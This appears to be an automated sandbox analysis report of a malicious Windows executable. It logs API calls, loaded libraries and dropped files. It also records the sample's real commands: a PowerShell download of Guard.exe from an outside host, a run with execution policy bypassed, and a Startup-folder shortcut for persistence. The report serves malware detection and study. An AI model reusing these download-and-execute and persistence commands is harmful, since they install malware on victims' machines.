Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 008E0D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 008D1A36 appears 34 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 008E8B30 appears 42 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00158B30 appears 42 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00150D17 appears 70 times
Source: C:\Users\Public\Guard.exeCode function: String function: 00141A36 appears 34 times
Source: classification engineClassification label: mal100.expl.evad.winEXE@15/12@3/1
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB3778 GetLastError,FormatMessageW,0_2_00007FF69DBB3778
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9D5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00007FF69DB9D5CC
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9CCE0 AdjustTokenPrivileges,CloseHandle,0_2_00007FF69DB9CCE0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00188DE9 AdjustTokenPrivileges,CloseHandle,6_2_00188DE9
Source: C:\Users\Public\Guard.exeCode function: 6_2_00189399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,6_2_00189399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00918DE9 AdjustTokenPrivileges,CloseHandle,13_2_00918DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00919399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,13_2_00919399
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB59D8 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_00007FF69DBB59D8
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBABE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_00007FF69DBABE00
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB5F2C CoInitialize,CoCreateInstance,CoUninitialize,0_2_00007FF69DBB5F2C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB36580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00007FF69DB36580
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeFile created: C:\Users\Public\PublicProfile.ps1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1096:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2804:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wroglscy.fim.ps1Jump to behavior
Source: TCKxnQ5CPn.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: TCKxnQ5CPn.exeReversingLabs: Detection: 34%
Source: unknownProcess created: C:\Users\user\Desktop\TCKxnQ5CPn.exe "C:\Users\user\Desktop\TCKxnQ5CPn.exe"
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe""Jump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exitJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"Jump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: version.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\Public\Guard.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: twext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cscui.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: TCKxnQ5CPn.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: TCKxnQ5CPn.exeStatic file information: File size 1083904 > 1048576
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: TCKxnQ5CPn.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: TCKxnQ5CPn.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: TCKxnQ5CPn.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: TCKxnQ5CPn.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: TCKxnQ5CPn.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: TCKxnQ5CPn.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: TCKxnQ5CPn.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

barindex
Suspicious powershell command line found
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe""Jump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC7634 LoadLibraryA,GetProcAddress,0_2_00007FF69DBC7634
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB678FD push rdi; ret 0_2_00007FF69DB67904
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB67399 push rdi; ret 0_2_00007FF69DB673A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF887BB19D2 pushad ; ret 4_2_00007FF887BB19E1
Source: C:\Users\Public\Guard.exeCode function: 6_2_00158B75 push ecx; ret 6_2_00158B88
Source: C:\Users\Public\Guard.exeCode function: 6_2_0014CBDB push eax; retf 6_2_0014CBF8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E8B75 push ecx; ret 13_2_008E8B88

Persistence and Installation Behavior

barindex
Drops PE files with a suspicious file extension
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
